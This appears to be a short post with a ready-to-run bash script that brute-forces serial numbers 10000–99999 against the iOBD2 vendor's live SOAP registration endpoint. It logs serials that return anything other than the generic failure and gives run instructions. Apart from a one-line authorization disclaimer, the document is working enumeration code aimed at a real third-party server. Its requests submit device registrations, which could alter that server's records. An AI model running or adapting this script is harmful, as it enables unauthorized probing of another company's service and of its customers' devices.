The iOBD2 app registers devices via mobile.xtooltech.com. This script tries serials 10000–99999 and prints entries where the SOAP response is not the generic failure ("return":"3").

iobd.sh

#!/usr/bin/env bash
set -euo pipefail

SOAP_URL="http://mobile.xtooltech.com/PublicService.asmx"
SOAP_ACTION="http://tempuri.org/POSTJsonService"

for sn in $(seq 10000 99999); do
  body=$(cat <<EOF
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <POSTJsonService xmlns="http://tempuri.org/">
      <ReadJson>{"type":"androidSNUpload","info":{"androidSN":"iOBD2-${sn}","androidVerCar":"VW"}}</ReadJson>
    </POSTJsonService>
  </soap:Body>
</soap:Envelope>
EOF
)
  hits=$(curl -sS \
    -H "Host: mobile.xtooltech.com" \
    -H "Content-Type: text/xml; charset=utf-8" \
    -H "SOAPAction: ${SOAP_ACTION}" \
    --data-binary "${body}" \
    "${SOAP_URL}" \
    | grep -v '"return":"3"' | grep -c 'androidSNUpload' || true)

  echo "${sn}: ${hits}"
done

Run

chmod +x iobd.sh
screen -S iobd ./iobd.sh | grep -vE ': *0$'

Use only on hardware and accounts you are authorized to test.